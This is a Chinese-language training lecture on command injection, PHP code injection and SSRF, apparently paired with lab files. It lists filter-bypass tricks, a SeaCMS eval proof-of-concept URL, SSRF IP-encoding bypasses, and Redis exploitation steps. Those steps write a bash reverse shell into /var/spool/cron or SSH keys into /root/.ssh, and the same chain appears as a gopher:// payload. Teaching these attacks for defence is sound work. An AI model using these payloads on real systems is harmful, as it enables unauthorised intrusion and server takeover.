远程命令/代码执行漏
SSRF漏洞

授课讲师:曾鸿坤

内容要点

- 命令注入和代码注入区别
- 命令注入
  - 有回显/无回显
  - 过滤绕过
  - 加固
- 代码注入
  - 有回显/无回显
  - 过滤绕过
  - 加固
  - 相关函数
  - 利用
- **SSRF (服务端请求伪造攻击)**
  - 有回显/无回显
  - 绕过
  - 利用**(S2/REDIS)**
  - 加固

代码注入与命令注入

代码/命令注入的产生原理与SQL注入类似，都是因为不正确地拼接字符串，直接带入函数内执行导致的。

代码注入：注入的是代码，如PHP，注入的是PHP代码

命令注入：注入的是系统命令，如:ping 127.0.0.1;ifconfig;

命令注入

命令注入攻击漏洞是WEB应用中常见的漏洞之一，国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。本章节将介绍常见的PHP命令注入攻击漏洞存在形式和利用方法，结合漏洞实例进行分析和漏洞利用，并针对如何防范PHP命令注入攻击漏洞给出了可行的方法和建议。

命令注入

PHP中的常见命令执行函数：

1.string system(string command, int &return_var)

可以用来执行系统命令并将相应的执行结果输出

2.string exec (string command, array &output, int &return_var)

command是要执行的命令，output是获得执行命令输出的每一行字符串，return_var存放执行命令后的状态值

3.void passthru (string command, int &return_var)

command是要执行的命令，return_var存放执行命令后的状态值

4.string shell_exec (string command)

command是要执行的命令

5.``运算符

与shell_exec功能相同，执行shell命令并返回输出的字符串

命令注入分类

1. 有回显的命令注入：

路由器管理面板内的ping功能

2. 无回显的命令注入：

一些系统后台自动处理（剪裁/加水印）上传图片的过程

命令注入利用

1. 有回显的命令注入

直接获取输出结果

2. 无回显的命令注入

a. 延时

b. HTTP请求

c. DNS请求

https://github.com/tennc/webshell

实验：

1. /1.RCE/1.命令注入_有回显.php
2. /1.RCE/2.命令注入_无回显.php

命令注入绕过

```
$ echo 123;
$ echo “123”
$ id
$ echo 123 | id
$ echo 123 & id
$ echo 123 ; id
$ echo “`id`”
$ echo “$(id)”
$ echo ‘id’
$ echo ‘$(id)’
$ echo$IFS”123”
$ a=l;b=s;$a$b
```

实验：

1. /1.RCE/3.命令注入_过滤空格.php
2. /1.RCE/4.命令注入_双引号.php
3. /1.RCE/5.命令注入_双引号转义.php
4. /1.RCE/6.命令注入_安全.php

代码注入

PHP代码注入是由于某些函数会将参数字符串作为PHP程序代码来执行。用户可以将PHP代码保存成字符串的形式，然后传递给函数执行。

常见的可导致代码注入的函数如下：

1. Mixed eval(string code_str)

Code_str是PHP代码字符串。

2. bool assert (mixed $assertion [, string $description])

assertion是字符串，它将会被当做PHP代码来执行。

3. mixed call_user_func (callable $callback [, mixed $parameter [, mixed $...]])

callback是将被调用的回调函数，parameter是0个或以上的参数，被传入回调函数。

4. mixed call_user_func_array (callable $callback , array $param_arr)

callback被调用的回调函数，param_arr要被传入回调函数的数组。

5. string create_function (string $args , string $code)

args是要创建的函数的参数，code是函数内的代码。

代码注入

一般是通过白盒审计发现，所以测试一般无有/无回显之分。

php > eval(“echo \”aaa\”;”);

php > $aaa=123;eval(“echo \”${aaa}\”;”);

php > eval(“echo \”${phpinfo()}\”;”);

实验：

1. /1.RCE/7.代码注入_有回显.php
2. /1.RCE/8.代码注入_无回显.php
3. /1.RCE/10.代码注入_双引号转义.php
4. /1.RCE/11.代码注入_call_user_func.php
5. /1.RCE/12.代码注入_create_function.php

海洋CMS V6.28 RCE分析

实验地址：
CMS下载地址：

1. 漏洞文件:seacms/search.php

$content=$mainClassObj->parseIf($content);

2. parseif函数声明:/include/main.class.php

function parseIf($content){

…

@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

…

}

3. POC：/search.php?searchtype=5&tid=&area=eval($_GET[1])

SSRF

SSRF（Server-Side Request Forgery，服务器端请求伪造）：通俗的来说就是我们可以伪造服务器端发起的请求，从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数，并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有：

1. 可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息
2. 攻击运行在内网或本地的应用程序（比如溢出）
3. 对内网Web应用进行指纹识别，通过访问默认文件实现
4. 攻击内外网的Web应用，主要是使用Get参数就可以实现的攻击（比如Struts2漏洞利用，SQL注入等）
5. 利用File协议读取本地文件

常见漏洞点：远程获取图片、检查URL有效性。

SSRF分类

1. 有回显：获取远程图片，无校验内容直接保存到本地

2. 无回显：获取远程图片，如果是图片则保存到本地

a. HTTP请求

b. DNS请求

c. 本地图片

d. 延时

实验：
/3.SSRF/1.有回显.php
/3.SSRF/2.无回显.php

SSRF过滤绕过

1. 过滤内网IP

如**192.168.0.1**：

(1) 8进制格式：0300.0250.0.1

(2) 16进制格式：0xC0.0xA8.0.1

(3) 10进制整数格式：3232235521

(4) 16进制整数格式：0xC0A80001

如**127.0.0.1**：

(1) http://localhost/

(2) http://0/

其它:

(1) http://www.baidu.com@192.168.0.1/

(2) 302跳转：http://tinyurl.com/

(3) 域名解析：http://192.168.0.1.xip.io/

SSRF过滤绕过

2. 过滤后缀

(1) http://127.0.0.1/?.jpg

(2) http://127.0.0.1/#.jpg

3. 先通过解析**IP**判断是否内网

时间差：

CheckIP('http://xxx.com/img.jpg') → 4.4.4.4

GetImg('http://xxx.com/img.jpg') → 127.0.0.1

实验：
/3.SSRF/3.过滤内网IP.php
/3.SSRF/4.过滤后缀.php

SSRF利用

文章分享：

从SSRF执行链到RCE，看我如何利用GitHub企业版中的四个漏洞

http://bobao.360.cn/learning/detail/4176.html

利用：

1. Apache Struts 2命令执行漏洞
2. RESIS未授权访问漏洞（gopher协议）

Discuz+redis RCE

实验地址：

原理：利用SSRF+REDIS未授权访问+REDIS提权漏洞

Redis提权-写定时任务

1. 连接REDIS

> redis-cli -h 127.0.0.1 -p 6379

2. 清除原有数据

> flushall

3. 写入内容

> set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n\n"

4. 设置保存的位置

> config set dir /var/spool/cron/

5. 设置保存的文件名

> config set dbfilename root

6. 保存

> save

Redis提权-写密钥

1. 连接REDIS

> redis-cli -h 127.0.0.1 -p 6379

2. 本地生成一对密钥(本地)

> ssh-keygen -t rsa

3. 查看公钥内容(本地)

> cat id_rsa.pub

4. 设置保存路径

> config set dir /root/.ssh/

5. 设置保存文件名

> config set dbfilename authorized_keys

6. 设置内容

> set x "\n\n\nxxx\n\n\n"

7. 保存

> save

换行

Ref:

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1

Wireshark 抓包

> telnet 127.0.0.1 6379

> http://localhost:6379/1%0aping%0aquit

> gopher://localhost:6379/_1%0aping%0aquit

> dict://locahost:6379/stats

> ldap://localhost:6379/%0aping%0aquit

利用

```
> flushall
> set 0 "\n\n*/1 * * * * /bin/bash  -i >& /dev/tcp/127.0.0.1/4444  0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename  root
> save
> quit
```

gopher://127.0.0.1:6379/%0Aflushall%0Aset 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n\n"%0Aconfig set dir /var/spool/cron/%0Aconfig set dbfilename root%0Asave%0Aquit%0A